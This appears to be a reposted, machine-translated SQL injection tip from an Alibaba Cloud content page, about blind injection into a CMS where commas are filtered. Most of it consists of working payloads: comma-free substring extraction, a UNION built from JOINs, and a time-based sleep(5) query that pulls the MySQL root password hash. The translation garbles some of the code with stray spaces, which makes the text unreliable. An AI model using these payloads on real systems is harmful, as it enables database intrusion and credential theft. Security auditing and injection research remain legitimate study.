[SQLi] Do not use single quotes | SQL statement with commas (,)

Source: Internet
Author: User

[SQLi] Do not use single quotes | SQL statement with commas (,)
Background

Audit cms found an environment like this:

$ L_id = get ('arr', 'l _ id'); $ ids = explode (',', $ l_id );

Concatenate the array requests in post, and then separate them with commas (,). Finally, an SQL query is provided.

As a result, you may not be able to use commas.

Default

Display_error = off

No explicit error. Only blind injection is allowed.

Solution:

It mainly solves the comma problem of substring.

 

Select * from table1 where id = 1 and exists (select * from table2 where ord (substring (username from 1 for 1) = 97 ); 127 'Union SELECT * FROM (SELECT 1) a JOIN (SELECT 2) B JOIN (SELECT 3) c JOIN (SELECT 4) d JOIN (SELECT 5) e) # select case when substring (select password from mysql. user where user = 'root') from 1 for 1) = 'E' then sleep (5) else 0 end # substring (select password from mysql. user where user = 'root') from-1) = 'E'

The preceding example is based on your own situation.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.